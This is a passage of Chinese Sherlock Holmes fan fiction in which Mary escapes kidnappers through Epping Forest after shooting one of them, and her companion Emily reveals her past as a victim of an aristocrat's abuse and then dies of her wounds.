捆绑艾米丽的男人站起身,一步步走到玛丽的面前,玛丽被步步紧逼,一步步的后退着,没注意踩到了什么,听到一声碎裂的声音,下意识的低头看下去,发现是什么瓶子,那瓶子放在床头的阴影里,玛丽不小心踩碎了。 那男人扯出一抹恶劣的笑容,玛丽将将把头抬起,就看到一个拳头冲着脑袋过来。 下一秒玛丽就晕了过去。 等到再醒过来,她和艾米丽被捆的结结实实,丢在一辆马车里。 马车的窗帘压得严严实实,什么都看不到,外面的天色也黑了,除了马车四个角的防风灯之外没有任何光源。 玛丽将头靠在车底,耳朵透过车底板仔细听着。 心脏剧烈的跳动,她的灵魂仿佛重新回到那个恐怖的地下室。 玛丽不断的深呼吸告诉自己:她体验过的,练习过的,她知道如何握紧手枪,知道如何在紧张的情况下,瞄准射击,绳子在背后将手腕和脚踝捆绑在一起,玛丽无法看见绳结,只能通过指尖摸索感受,胳膊紧紧地贴在身上,腰侧的位置能感受到那冰冷的器械。 枪还在,幸好,枪还在。 玛丽甚至能感受到自己额头的血管跳动,耳朵通过车底板能听见外面的声音。 声音可以在空气,液体,固体中传播,玛丽在书里读到过,现在门窗紧闭,外面的声音并不清晰,窗帘压着,也无法看见外面的情况,玛丽不断在脑海中安抚自己紧张的情绪,调动一切自己看过的书,了解过的知识。 夏洛克说过,万事万物总有关联,这不只是他做侦探的逻辑和行为模式,也是万事万物运行的底层规律。 一切事物,皆可以为我所用。 玛丽将耳朵紧紧地贴在车底板上,她看过书,知道声音在固体中的衰减要比空气以及液体中衰减的更少,所以会导致声音在固体中的传播更清晰。 车底板连接着车轴,车轴连接着车轮。 车轮在不同的地面行驶,会有不同的声音。 玛丽仔细的听着,马蹄声哒哒哒的,并不清脆,其中一个哒哒声更清脆,看来是刚换了马蹄铁,咕噜咕噜声音是车轮碾压在地面上。 石子路?不,泥土?也不是。 像是草丛,那偶尔沉闷的嘎啦声是拈断的树枝。 偶尔在经过一些树枝格外丰茂的地方会有一两声鸟鸣枭叫,猫头鹰?似乎不像。 猫头鹰的声音更加低沉,玛丽不断的回想,一遍遍的在脑海中回忆着曾经在朗伯恩的乡间听过的鸟鸣。 在这一刻,玛丽闭上双眼,灵魂穿越了马车,穿越了森林和重重山脉,回到了朗伯恩,她的灵魂再一次漫步走在朗伯恩的山地林间,高大的树木将她与其他人隔绝开来,她仿佛成为了天地间唯一的主宰与活物。 灵魂在朗伯恩的乡间也闭上了双眼,恍若变成一张网,那千万个触点向外延伸,每一个触电都在吸收着树木的气味,风的气味,鸟的鸣叫。 一只又一只的鸟飞快的从面前,从灵魂的躯体飞过。 喜鹊?绿雀?知更鸟?苍头燕雀? 不,不,不,都不是,玛丽的思维网络扩展的更加磅礴,触电从朗伯恩一路蔓延。 将整个山林都笼罩在这片密网之下…… 是……大山雀! 大山雀,应该是大山雀。 玛丽开始思考,伦敦周边,森林,大山雀的聚集地。 该死! 玛丽忍不住在内心周骂道,她并没有看过类似的书籍,她对于鸟类研究并不十分感兴趣,只是曾经看过几本鸟类的介绍,也是因为朗伯恩的鸟鸣十分优美,她才看过一些鸟类介绍,但是更多的就没有了。 马车的行驶很平稳的前进,玛丽想着,在山林里如果能够一直很平稳的前进,必然是有林间小路的。 如果之后她要逃出来,就得记得路线,玛丽努力记住每一次的拐弯时间,这一路行驶几分钟,拐了几次弯。 艾米丽似乎还在流血,车厢内的血腥味越来越重。 如果再这样下去,她可能会死于失血过多。 玛丽感到越来越恐惧,她害怕艾米丽死掉,她无法接受因为自己而导致一个年轻的女孩失去生命。 幸好马车停下了,是的,当一辆马车开始行驶,它总归有一个目的地,它会停下的。 玛丽闭上双眼,假装自己还没醒过来。 打开车门后,玛丽先是闻见一股子浓郁的下等烟草的气味,然后是湿漉漉的,带着水汽的草木腥味。 那个捆绳子的男人的声音:“那个受伤的别让她死了,另一个我带去关起来。” 说完玛丽就感觉到烟草味盖住了自己的鼻子,她被人扛了起来。 玛丽偷偷眯着眼睛,从睫毛遮掩住的瞳孔里看到艾米丽被另一个男人扛着,这次灯光照在了他的脸上。 是上次射击俱乐部跟在雷利身边的一个仆人。 玛丽被带进了一个林间小屋,这屋子隐秘极了,有限的视线里只能看见周围都是树丛,黑洞洞的森林显得十分可怖。 艾米丽被丢在地上之后发出闷哼,依然没有醒来。 那个雷利的仆人从屋子角落的架子上拿了一些草药,玛丽的角度只能看见金盏花,他将草药放在一个石臼里碾了碾,各种草药糊成一团,紧接着他扯开艾米丽胳膊上的绷带。 玛丽这才看清楚,她的小臂上有一个血洞,那男人将草药盖在血洞上,又将带子绑了上去。 烟草男则是从口袋里掏出一个袋子,那袋子灰扑扑的,他倒出一小把干烟丝,直接塞进嘴里咀嚼着:“你说主人干什么要追着这个娘们不放?” 那仆人将绑带系好后才起身,抢过烟草男的袋子,掏出一小撮烟丝也塞进嘴里:“咱们听吩咐办事,问这么多做什么。” 烟草男吐了口唾沫:“你说,那女人真和那什么福尔摩斯有关系?” 仆人随意的将手里的血和草药擦在身上:“上次跟在主人身边的时候我见过,俩人估计是一对,我看着那个福尔摩斯可护着她呢。” 烟草男古怪的笑了笑:“那个福尔摩斯也会找女人?我还以为他就没那玩意,白教堂一群人私底下都是听他的吩咐干活,啧,听说有个家伙为了跟他扯上关系,找了好几个漂亮妞送过去,结果他看都带看一眼的,后来还找了几个漂亮小男孩。” 说道这里,他笑的更加古怪,眼神还带着一种恶劣又下流的意味,胯部还挺了两下:“结果他也没要,我们都猜他是不是压根就没那玩意。” 仆人显得很不耐烦:“那个混蛋脑子里压根就没那些事,整天就会给我们找麻烦。啧,这次看他还敢在主人面前搞什么乱七八糟的事情。” 烟丝男忽然将视线移向玛丽。 玛丽觉得浑身的汗毛都竖了起来,被丢在墙角之后她始终不敢动弹,生怕引起注意。 烟丝男:“你说,要不,咱们试试看?” 仆人走到门口:“少动歪脑子,那是对主人有用的人,行了,我去把马车肩带卸下来,把马带到马厩,你把车子收拾好了。” 烟丝男看着仆人的背影,不屑的吐了口唾沫,小声的骂了两句:“有什么了不起的,还指教起我来了。” 话是这么说着,烟丝男也老老实实的跟在后面走了出去。 反手还关上了木屋的大门。 木屋只有一个壁炉和烟囱可以透气,并没有窗户,除了门口地上的一个煤油灯,并没有其他光源。 一直等烟丝男关上门之后玛丽才敢睁开眼,下意识的玛丽第一时间看向艾米丽,结果发现艾米丽也睁开了眼睛,眼神里满是紧张恐慌*,还有故作镇定的狠厉。 玛丽:“你早就醒了?” 艾米丽小声的回答:“在车上就醒了,没敢动,接下来咱们怎么办?” 玛丽一直死死盯着木门:“我是后半程醒的,我只记得一半的路。” 艾米丽扭动身体,想要缓和一下自己发麻的胳膊和疼痛的腿,结果碰到伤口,疼的倒抽一口冷气。 玛丽:“你一定有什么自己不知道,但是对他们很重要的利用价值……” 艾米丽冷笑一声:“我这辈子都没这么值钱过,真有意思。” 玛丽:“艾米丽,我很抱歉,是我将麻烦带给了你。” 艾米丽沉默了一会:“少说废话了,你有办法逃出去么。” 玛丽:“我不确定……” 艾米丽:“你必须有办法,你必须有!” 【作者有话说】 虽然这本还在搞,但是下一本已经有了想法,到底是些达西的还是写是大臣的呢,最近好沉迷汉妃啊 59 第59章 今天一大早麦考福特并没有前往白厅,而是在别处办公,他身兼多职,除了明面上的内阁小小事务官,还有一些其他更为隐秘的身份。 在沃森斯特街上一栋明显不存在的大楼里做着一些明显不存在的事务。 大楼里人的人并不多,显得很安静。 于是脚步匆匆的声音响起时麦考福特放下了手里的钢笔,很明显,这栋楼这一层里响起这样的脚步,只有一个目的地。 咚咚咚 房门被敲响。 麦考福特掏出手帕擦了擦尾指上不经意沾染上的墨水:“请进。” 安娜进入了房间里,身后还跟着夏洛克。 两人谁都没敢做第一个开口的人。 麦考福特几乎是立刻就有了一个让他看到恐惧的猜测,看着面前的两人:“真是……大驾光临,夏利。” 夏洛克率先低下头,不敢去看麦考福特。 麦考福特转而看向安娜:“安娜,我一直很信任你,你知道的,是么?” 安娜一直低着头,甚至恐惧的不敢将自己完全暴露在麦考福特的面前,她半边身子都藏在夏洛克的身后,张嘴磕巴了半天,只憋出了一句:“sorrysir。” 麦考福特继续看向夏洛克:“夏利,你想好怎么解释了么。” 他已经给了夏洛克思考的时间,现在该夏洛克解释,为什么他们两人会同时出现在自己的面前,而玛丽并不在现场。 夏洛克刚要开口,又闭上了嘴,他不知道如何解释,说自己将一个姑娘带去贫民窟,却没有做好万全的保护手段?说自己竟然让伙伴单独行动,却没有做好任何防备? 看着夏洛克沉默的样子,麦考福特抓着手帕的狠狠的擦拭着指侧的墨水,可是那墨团越擦越脏,将手帕丢在桌上,麦考福特深吸一口气:“谁。” 夏洛克终于有一个答案了:“雷利,或许是雷利……” 麦考福特站起身,夏洛克向前走了一步,看着麦考福特明显泛着怒意的双眼,两人近乎一模一样的眼眸看着彼此。 夏洛克再次低下头来:“抱歉,麦考福特。” 麦考福特抬手阻止了夏洛克,他此刻暂时不想听那些所谓的情绪发言,道歉,愧疚,都是无用的情感:“时间,地点。” 安娜立刻回答:“贫民窟玛格丽特家的妓院,具体失踪时间……不知道。” 麦考福特深深的看了一眼安娜:“安娜,我对你很失望。” 这仿若轻飘飘的一句话落在安娜的肩膀上,让她感到沉重无比,她是他们这一批里唯一的女性,她比谁都要努力,比谁都想要获得认可,这是BOSS安排给她的第一个任务,可是她失败了,她没有完成任务…… 麦考福特来到房间的角落里拽了拽墙上的绳子。 没多会几个人来到了屋内,领头的正是安娜的长官,看到安娜露出一张苦脸,那位长官深深地看了她一眼。 麦考福特迅速布置下去,一道命令接一道命令,有条不紊的吩咐下,枪,人,信息,他所有的一切他都拥有,在别人看来他胸有成竹,一切尽在掌握之中。 只有麦考福特自己知道,他此刻有多么的恐慌。 ———————— 玛丽等了好一会,外面都没有传来任何声音,磨蹭着胳膊和腿,终于把自己蹭到艾米丽的身边,看着她身后的绳结,玛丽用牙齿咬住其中的一部分。 折腾了快有十分钟,牙根酸软,下巴都要抽筋了才将绳子解开,艾米丽忍住手腕和腿部麻木的感觉,立刻来帮玛丽解开绳子。 她的胳膊受了伤,力气也不大,学着玛丽,几乎是连拽带咬的,才撕开绳结。 两人看着彼此磨破的嘴角,染了血的嘴唇显得十分狼狈又可怕。 玛丽揉了揉发麻的两条腿,让艾米先在角落坐一会,从身上藏着的口袋里掏出枪和子弹,玛丽将仅有的几颗子弹全都装了进去。 艾米丽紧紧地咬着牙根,一点声音都不敢发出来。 玛丽将子弹装好后让在屋内寻找起来。 房间里根本没多少东西,壁炉里是空的,除了门口的煤油灯,只剩下角落的架子,架子上面的草药也很少,玛丽将金盏花全部塞到口袋里。 艾米丽看着玛丽小声的询问:“我们该怎么办?” 玛丽深深的吸了一口气,感觉心脏跳的快要从喉咙里出来了,破开的嘴角扯出一抹带着恐惧的笑容,满是鲜血的唇瓣颤抖着,吐出了一句话:“我们要杀人。” 这是最简单,也是最直接的办法。 她有枪,对方毫无防备,她要在极短的时间里,用自己的枪,杀掉这两人,带着艾米丽逃出去。 艾米丽听到这句话反而比玛丽冷静多了,看着玛丽手里的枪,艾米丽点点头。 玛丽觉得自己自从准备用枪打死这两个人之后,脑子里就开始变得空白,什么都想不起来。 似乎大脑里所有的东西,都被杀人这个单词给占据了。 艾米丽走上前看着玛丽苍白又恐惧的脸色:“我等会尖叫,大喊,他们说不定会过来,打开门之后,你立刻就开枪,记住了么。如果不杀了他们,死的就会是我们!你必须杀了他们!” 玛丽似乎变成了一个啄木鸟,只会当当当的摇晃自己的脖子做出点头的姿势。 艾米丽按住玛丽带着颤抖的手:“他们不死,死的就是我们,我可不想死,我要活着,我必须活着,我要活的比谁都久!” 玛丽抿着唇顺着艾米丽的力气来到了距离门口最好的射击点,一旦对方开门,她立刻就能打中对方。 艾米丽来到了门后,两人站在门口两边,然后艾米丽开始尖叫,大喊救命。 外面很快传来了不耐烦的呵斥:“别叫了,这里可没人会救你!。” 随着呵斥,门打开了。 砰! 玛丽打出了一枪,木门只打开了一半,那人露出半个身子,玛丽一枪就打中了他的脑袋。 近距离射击 那人的脑袋像是炸开的西瓜,红色的,白色的,各种诡异的粘液飞溅开来,玛丽能感受到那混着这烟草味的血液飞溅到脸上的触感。 他甚至还没来得及说下一句话,就重重的砸在了地上。 艾米丽抓着玛丽就往外跑。 第二个人显然也听见了动静,追了出来。 后面传来一声又一声的枪响,玛丽一边拽着艾米丽往森林奔逃,一边抽空回头给后面来上两枪。 奔跑中的准头差极了,玛丽不敢再射击,奔逃中,忽然感受到背后的汗毛都竖了起来,玛丽下意识的扑到艾米丽的身后,她的胳膊感受到一种火辣辣的疼痛。 子弹穿过袖子,在胳膊的表层划过。 艾米丽能感受到血液溅射到她的脸上。 玛丽几乎是立刻爬了起来,拽着艾米丽就继续跑 艾米丽被连拉带拽的跑着,玛丽两条腿都是完好的,跑的要比受了伤的艾米丽更快,她不知道身后的艾米丽一直在盯着她的后背。 玛丽扯着艾米丽在树林里狂奔,除了扑倒艾米丽的的时候,玛丽没有任何一秒松开艾米丽的胳膊,直到此刻,艾米丽才算真的相信,玛丽并不是雷利那一伙的。 艾米丽只穿着衬裙,甚至没有穿鞋子,玛丽则更为臃肿,她身上的斗篷被树枝挂住,原本系在锁骨处松松垮垮的系带此刻成为了杀人利器,狠狠的给玛丽的脖子来了一下。 玛丽慌乱的挣扎,还是艾米丽一把扯掉了斗篷的细带,两人互相扶持着在树丛里狂奔。 黑暗中两人只能听见后面隐约的枪击声还有彼此的喘息声。 被抗下马车的时候玛丽就闻到过那冰冷的带着腥味的水汽,此刻整个森林里都弥漫着那鼓带着腥味的水雾气,就像是冰冷的裹尸布,一点一点,缠绕住两个人。 裙子的下摆被枯枝烂叶撕扯,有时候跑着跑着就会有树枝在脸颊耳畔打过去,每一次都带来新的伤口。 艾米丽的喘息越来越重,她没有鞋子,此刻在树林里奔跑,就像是隔着棉布在碎玻璃上跳舞,谁都不知道下一秒就会踩在什么尖锐的石头上划破脚底。 但是两人谁都不敢停下,黑夜成为了两人最大的敌人,同时也是最好的帮手。 她们看不清路,对方也看不见她们。 像是无头苍蝇一样在这片森林里一路狂奔,两人跑了好久才终于摆脱后面的追击。 玛丽死死攥着艾米丽没受伤的胳膊,等到两人终于停下脚步的时候玛丽才发现自己的手指已经完全僵硬了。 掰开自己的手指,玛丽看着对方。 艾米丽的另一只胳膊垂在身侧,鲜血顺着脱落的纱布不断往外流淌,从小臂一直到手背,最后从指尖一滴一滴的落在地面上。衬裙左边的下摆都被鲜血染红了。 玛丽弯腰掀开自己的裙摆,从内衬里撕下一节棉布:“坐下来,我给你处理一下伤口。” 艾米丽几乎是瘫倒在地上,玛丽哆嗦着手将口袋里的金盏花拿出来,周围找不到适合研磨的工具,只能胡乱塞进嘴里咀嚼碎了再吐出来,黏糊糊的根茎敷在伤口上,用扯出来的布条系上。 玛丽将所有的金盏花都用在了艾米丽的身上,自己的胳膊只是随意用棉布裹了裹。 看着艾米丽的双脚,玛丽直接将整个外套的裙子脱了下来。 拽着腰部和上衣衔接的位置,玛丽用力的撕扯,到最后干脆用牙咬住一段,然后双臂用力撕扯开来,变成两大片布料的裙子看上去十分残破,玛丽将两大片布料裹住艾米丽的两腿暂时当做袜套和鞋子用。 将艾米丽裹好之后,玛丽扶着她起来,已经入冬的天气,树叶都落了许多,仰头看去,头顶是稀疏的星星。 玛丽努力的寻找北斗星,11月的伦敦,这是最好观测的星星之一了。 先是根据北斗星确定了东南西北,玛丽努力的平息自己的喘气,感受今晚的微风。 是东南风……什么森林在东南方向有湖泊?玛丽的脑海里不断回想。 那丝丝缕缕的风裹挟着各种气味,艾米丽坐在地上靠着树干:“接下来我们怎么办?” 玛丽的额头都是奔逃后留下的汗水,鼻尖努力的嗅闻。 艾米丽紧张恐惧之下没忍住:“你这样子倒像是猎狗一样。” 玛丽感受着空气中的气味,她现在所有的精神都放在如何逃出去这件事上,水汽顺着风一点点濡湿两人的发尾和衣衫,忽然上空闪过一群黑影,玛丽仔细的盯着那群黑影。 是一群蝙蝠。 玛丽在脑海里仔细回想着,然后再次睁开眼,这一次她变得镇定多了:“我们往西南方向走。” 艾米丽扶着树干想要站起来,玛丽立刻走到她身边,将她完好的那只胳膊搭在自己的肩膀上:“我们在埃平森林,只有爱平森林的东南方有一个巨大的湖泊,而且刚才那些蝙蝠,是大马蹄蝠。” 说来凑巧,玛丽小时候被蝙蝠吓到过,后来为了克服恐惧,特意找了一些相关的书籍,试图通过书本上的图画让自己不再恐惧这种动物,而英国本土常见的一些小蝙蝠当然是她了解的重点。 玛丽从未如此刻一般感谢自己所读过的那些书。 她所读过的书成为了脑海中不为人知的武器,这些武器在她面临危险时成为了她的铠甲和利剑,枪固然是好东西,但是当他们手无寸铁时,就只能靠自己的大脑,靠自己曾经填充过的知识来武装自己,拯救自己。 艾米丽一瘸一拐的跟着玛丽在树林里走着,走到后面艾米丽开始有点头脑发昏,她被折腾的流了许多血,失血的反应的在肾上腺素褪去后开始显露。 玛丽能感受到艾米丽越来越沉重的脚步和力量,默默的在艾米丽的面前蹲了下来:“上来,我背你。” 艾米丽看着自己面前瘦弱的身影,忽然有些感动和难过,趴在玛丽的背上,感受到她艰难的站起来,然后弓着腰,几乎是半托半抗的带着自己一步一步往外面走着。 玛丽的喘息越来越沉重,随着月亮升起,原本黑暗的森林里倒是开始显得亮了一些。 艾米丽靠在玛丽的耳朵边:“你可真是个傻子。” 如果是艾米丽,她早就丢下另一个受伤的人跑了,任何人的生命都不会比她自己的更重要。 玛丽只是从胸口挤出一声笑:“艾米丽,我说过的,我们是朋友。” 沉默了好一会,似乎是缓过劲,玛丽努力抬起沉重的脚步:“艾米丽,我很抱歉……” 月亮挂在半空中。 艾米丽听着玛丽越来越沉重的喘息,她的脚步也越来越慢,忽然开口道:“你们是不是在对付雷利……” 听着艾米丽近乎是叹息的气音,玛丽只觉得恐惧,她看到艾米丽流了多少血,她知道,人流血太多,会死的。 玛丽害怕艾米丽就这么沉默无声的死去,只能想办法让艾米丽和她说话,仿佛只要一直说话,艾米丽就会没事。 哪怕玛丽已经没什么力气,但她还是回答道:“是的。” 艾米丽的脑袋就靠在玛丽的耳边,倒也不用多大力气说话:“为什么?你们和他有什么仇怨么……” 玛丽:“他是个混蛋,害死了无辜的人,他还伤害了我的爱人。” 艾米丽嗤笑一声:“是啊,他是个混蛋。” 玛丽努力的看清脚下那些枯枝,石头:“没错,所以我和我的朋友们都想抓住他,让他受到该有的审判,我和你说过吧,那个鹰钩鼻的朋友,他叫夏洛克,是个侦探,一个聪明人。” 艾米丽沉默了一会,这片刻的沉默让玛丽恐惧的手都快要脱力了。 似乎感受到了玛丽的恐惧,艾米丽再次开口:“对不起,我骗了你。” 玛丽害怕艾米丽再次沉默,连忙回答道:“不,是我连累了你,艾米丽,如果不是我将这些事……” 艾米丽打断道:“不是你带来的………玛丽……” 再次片刻的沉默后,艾米丽才开口:“小布朗不是雷利的女儿……我才是……” 【作者有话说】 再走两章,又开始甜甜的恋爱。 60 第60章 这次轮到玛丽沉默了。 艾米丽的声音越来越轻,仿佛下一秒就要断开:“玛丽,听着,如果我死了,去找玛格丽特,任何一个玛格丽特都可以……” 玛丽立刻打断了她的话:“不,你不会死,艾米丽,我不会让你死的……” 艾米丽似乎被逗笑了,她的声音愈发轻柔起来:“别说傻话了,听我说,玛丽,如果我死了,去找玛格丽特,告诉她,我把东西交给弗洛伦斯了,她们知道该怎么办的……” 玛丽能感觉到,艾米丽似乎已经失去了生存的意志,她像是在交代后事一般,断断续续的诉说着自己的故事。 艾米丽原本叫做艾拉,艾拉布朗的艾拉,她和小布朗一样,都是救济院的孩子。 救济院的孩子们就像是一个循环。 每天都有人来,每天都有人死。 女孩们的名字来来回回就是那几个。 艾拉,玛格丽特,艾米丽,玛丽。 上一个艾拉死了,又会有新的艾拉出现。 两个玛格丽特也一样,她们是不同的人,但也是同样的人。 她们被丢在救济院之后就注定了结局,小时候还能获得一些帮助,等到了十来岁,就得自己想办法讨生活。 男孩们可能做小偷,流氓,混混,经历过这个阶段如果没有死去的,已经算是运气很好了。 如果运气更好一点,十七八岁的时候找到一个工厂当工人,然后遇上另一个贫穷的女孩之后结婚,每天干上十八个小时的苦活,赚上几先令给一大家子吃喝。 女孩就不行了,女孩们的出路更少一些,洗衣妇,仆人都算是体面的工作,运气好一点就是碰到个工人嫁给他,这都已经算是很好的出路了。 更多的女人只会成为女支女。 一代又一代的玛格丽特,艾拉,艾米丽就像是一个不断循环的继承仪式,继承前者的名字,也继承前者的命运。 艾米丽的妈妈却不一样,她是好人家的姑娘,一个真正的好人。 故事的前半截确实如夏洛克听说的那样,一个好人家的姑娘被骗了,怀了孕。 可是后半截却完全不同。 她生下了艾拉,穷困让这个女人只能将孩子寄养在救济院,小时候的艾拉是很幸福的,她有着一群姐妹,还有爱她的母亲,她的母亲白天出去找各种活,晚上则回到救济院,将这些钱用来给孩子买点吃的喝的。 可是这样的“好日子”很快就结束了。 艾米丽似乎陷入了某种回忆,她的声音都带着哽咽:“我们原本可以过上好日子的。” 艾拉的母亲遇到了一个工人,她做了好多年的杂活后,因为勤恳老实被推荐去了一个旅馆做女仆,虽然辛苦,但是也还算能凑活生活,遇到那位工人之后,两人很快结了婚。 工人和艾拉的母亲,还有艾拉组成了一个新的家庭。 那是她们最后的快乐回忆,资本的血腥压榨是难以想象的。 不论工人如何努力,如何拼命的干活,工资还是越来越少,原本还能吃上点粗粮面包,后面只能是黑面包,最后哪怕干上二十个小时,也只能吃点比巴掌大不了多少的麦麸面包,物价飞涨,工资却在降低。 后来战争爆发了,反法联盟让一批又一批的人走上战场,男人们不断死去,于是工厂也开始招女人,庞大的工业机器开足马力的生产,一切都是那么的蒸蒸日上,欣欣向荣,可是工资还是越来越低。 工人们爆发了,他们罢工,反抗,然后被无情的镇压。 血肉之躯,如何与资本的暴力机器对抗呢? 那个好心的工人,那个善良的继父死了。 可是哪怕他已经死了,工厂也要压榨出他骨头缝里最后的一丝油水,那群狗腿子监工说他因为罢工反抗损坏了工厂的机器,要赔偿2000英镑。 2000英镑!他们不吃不喝干到死也没有那么多的钱啊! 艾拉的母亲没有钱,她们怎么可能有钱呢…… 钱都在贵族老爷们的口袋里,都在贵妇人的脖子上。 她们拼了命的干活,于是老爷们的马车越来越豪华,戒指越来越大。 听到没钱之后那群狗腿子抢走了只有十三岁的艾拉。 她被带走了。 艾米丽很害怕,玛丽甚至能感受到她因为回忆而下意识的颤抖。 艾米丽说:“那一天我们一共有十几个孩子一起被带走,我的母亲抓着我,她恳求那群人放过我,可是他们拽着我的胳膊,将我拖走,他们在我面前殴打了我妈妈……” 被带走之后,她们被丢去了一个豪华的公寓,她们是最低贱的平民的女儿,哪里见过这样豪华的地方。 在那里,她看见了雷利。 如同艾拉的母亲一样。 她们这群孩子被送给了一群所谓的高高在上的贵族。 真是高贵啊,他们衰老的褶皱的皮肤上充满了浓疮一样的斑点,他们的身上都是腐朽的恶臭。 时间平等的对待所有人,不论是贵族还是平民,时间都是平等的。 这群老贵族们在恐惧自己年华老去,随着年龄的增长,他们的身体机能逐渐衰退,疾病也常常找上门来,他们拼命的想要用一切东西证明自己正当壮年,可是死亡的阴影不断侵蚀他们的理智。 就连听见钟表的滴答声,都像是听见死亡不断迈近的脚步一般。 于是这群老人用热闹的酒会和沙龙来打发那让人恐惧的黑夜,每一次狂欢后的日出,都是他们战胜死神的赞礼! 可是酒会与沙龙带来的快乐越来越少,他们要找点别的乐子来熬过漫漫长夜。 再也没有比年轻女孩更好的祭品了。 青春的少女,紧致的肌肤,光滑如绸缎的发丝,一切的一切,他们就像是水蛭一样,试图通过摧毁这群少女,来吸食她们身上的青春活力。 少女的眼泪和痛苦,成为了琼浆玉液,充盈着他们日益衰微的血管。 小女孩们被精心挑选出来,然后被残暴的对待。 艾米丽甚至已经忘了自己事后是如何逃出来的,等到她回家之后,母亲已经奄奄一息了,在临死前,母亲告诉她真正的身世。 是雷利,雷利的工厂害死了她的继父,雷利毁了她母亲的一生,现在雷利,也毁了她。 艾米丽冷笑起来:“玛丽,我们多么希望雷利死去,可是简单的死亡并不能平息我们的仇恨,我们要让他身败名裂,要让所有人都知道,他是一个什么样的人渣,我们要让千百年以后的英国人提起他,就会吐上一口唾沫!” 仇恨仿佛来自地狱的火焰,以燃烧艾米丽的灵魂为代价,成为支撑她活下去的信念。 十三岁的艾拉死了,艾米丽活了。 所有遭受雷利伤害的女孩们团结了起来,她们不只要雷利死亡,更要让雷利身败名裂的死亡,要让他的整个家族,为她们的人生陪葬。 她们有着同样的名字,来自同样的救济院,她们是没有血缘关系的姐妹,她们是女人,她们是天然的同盟者。 艾米丽的头越来越沉重的靠在玛丽的肩膀上:“玛丽,现在,你也是我们同盟的一员了……” 玛丽的眼泪一滴又一滴的落了下来,她紧紧地咬着后槽牙:“艾拉,坚持,再坚持坚持,想想你的母亲,想想你的姐妹们……别放弃,艾拉!” 艾米丽,不,现在或许该叫她艾拉了。 艾拉的手臂垂在玛丽的身前,玛丽闻见越来越重的血腥味,艾拉胳膊上的伤口还在流着血。 玛丽感觉双腿已经不是自己的了,那两条腿只剩下麻木的,机械的,抬起,迈步,再落下。 不敢停下,也不能停下。 艾拉开始用一种随时会断掉的气音唱起了一首歌。 玛丽能感觉到自己的眼泪从眼头落下,顺着鼻梁,鼻尖,最后滴落在地上。 艾拉唱着:“Pat-a-cake,pat-a-cake,bakersman!Bakemeacakejustasfastasyoucan.Patit,andprickit,andmarkitwithT,PutitintheovenforTommyandme” 她之前总是高昂激动的嗓音此刻却轻柔无比,像随时会断开的丝线,她轻声唱着童谣,仿佛又回到了小时候和妈妈在一起的日子,那时候妈妈忙碌一天回来,她会在家里乖巧的帮忙打扫卫生,收拾屋子,晚上家里人围在一起吃着粗糙的面包,贫穷却很快乐。 继父会抱着她,哄她唱歌,到了临睡前,她躺在床上,妈妈会给她盖上毯子,粗糙但温暖的手会轻轻拍打着她的肩膀,柔和的唱着这首歌哄她睡觉,梦中都是妈妈的气味。 艾拉:“妈妈,我好疼啊……” 玛丽将艾拉放下来,努力的拍打她的脸:“艾拉,艾拉,别睡!!睁开眼!艾拉!!” 手上都是血液,玛丽再次扯下自己的衬裙,这次衬裙的下半截已经完全撕裂开,玛丽用力的捆绑着艾拉身上的伤口,可是那该死的伤口一直在流血,一直在流血,怎么都止不住。 玛丽张嘴哭喊着:“求求你,求你了,艾拉,我求求你……” 艾拉没有再回答了,玛丽颤抖着伸出手抚摸在艾拉的脖子上。 原本应该一股一股跳动的血管平静异常。 艾拉死了。 玛丽将头靠在艾拉的胸口,没有任何的声音。 艾拉,真的死了…… 玛丽再也无法控制自己的眼泪,她抱着艾拉的脖子,让她的头靠在自己胸口哭喊着:“艾拉,对不起,对不起,我不该去找你,我不该自以为是,对不起……” 艾拉的手滑落到草地上,碰到了玛丽的腿,她的手还带着温热,她的皮肤还是柔软的。 可是她再也不会睁开眼睛了。 玛丽哭了好一会,感受到怀里越来越冰冷的躯体,咬着牙抬起胳膊,狠狠的擦掉了眼泪:“艾拉,我会带你回家的。” 转过身,玛丽几乎是跪在地上,拽着艾拉的胳膊,拼劲全身力量将艾拉扛在了背上。 艾拉并不强壮,明明是一个很瘦弱的女孩,可是此刻玛丽只觉得她沉重异常。 第一次试图站起来的时候玛丽没成功,双膝跪地的趴在了地上,但是她将艾拉保护住了,没让她摔下来。 然后是第二次,第三次的尝试。 玛丽面色憋得通红,嘴唇却惨白的没有任何血色,她将艾拉脚上套着的外裙拿了下来。 原本被撕成两大片的裙子再次被撕扯开,一截又一截,然后几根布条拧成一股身子,一段又一段连接之后,玛丽把绳子绕过艾拉的身后,她将艾拉的腰部和自己的腰部绑在一起,因为害怕艾拉摔下来,足足绑了好几圈。 等到确定艾拉不会从背上滑落之后,玛丽双手撑着地,努力的深呼吸,然后站了起来。 天上的月亮越来越高,玛丽疲惫的走着。 一个小时?或许两个小时,三个小时。 玛丽能感觉到艾拉越来越僵硬。 但是此时此刻玛丽忽然冒出一个念头,自己不会再害怕尸体了,她第一次看到的时候,尸体是陌生人,是案件,是受害者。 可是现在尸体是艾拉,艾拉是一个活生生的人,是一个会笑嘻嘻冲她翻白眼的姑娘,是一个会别别扭扭和她说谢谢的姑娘,是第一个伸出手和她握手的姑娘。 有什么可怕的呢,那是艾拉,是她的朋友。 玛丽已经累的说不出话,但是心里却在告诉她:“艾拉,我会带你回家的。” 60-70 61 第61章 天光乍破,晨曦初露。 新的一天到来了,可是艾拉却留在了昨天。 玛丽只觉得头脑发晕,她已经饿了一整个白天加晚上,最后一顿饭是昨天的早饭,她太累了,一整夜她就这么背着艾拉往前走。 似乎只要一直这么走下去,就还有希望。 玛丽能感觉到艾拉逐渐变得僵硬,她的胳膊像是木棍,像是钢铁,唯独不像一个女孩。 在黑夜中显得静谧恐怖的森林展露出一副秋冬美好的景色,可是玛丽已经没有精神去看了。 玛丽累到头脑一片空白,一开始她还在心里默默地和艾拉说着话,她不知道艾拉今年多大,看上去才二十来岁,她喜欢吃什么,喜欢干什么,她平日里有什么爱好,她喜欢读书么?有没有爱过什么人? 她一无所知。 艾拉成为了一个沉默的回忆。 埃平森林并不十分的大,甚至距离伦敦实际上并不远。 玛丽走了一整夜,到了早上的时候已经可以看见郊区的农庄了。 她不敢上前,如果这个农庄的范围里有那些坏人呢? 可是体力已经不允许玛丽再坚持下去,在她走出森林,看到农庄的袅袅炊烟,玛丽晕倒了。 再醒来的时候她躺在柔软的床上,房间并不大,除了床就只剩下一个小柜子,柜子上放着一杯牛奶。 玛丽呆愣愣的躺在床上,然后忽然坐了起来,突如其来的动作让她眼前一黑,摔到在地板上发出咚的一声。 外面的人听见声音走进了屋子,是一个温柔的声音:“我的天哪,小姐你还好吗?” 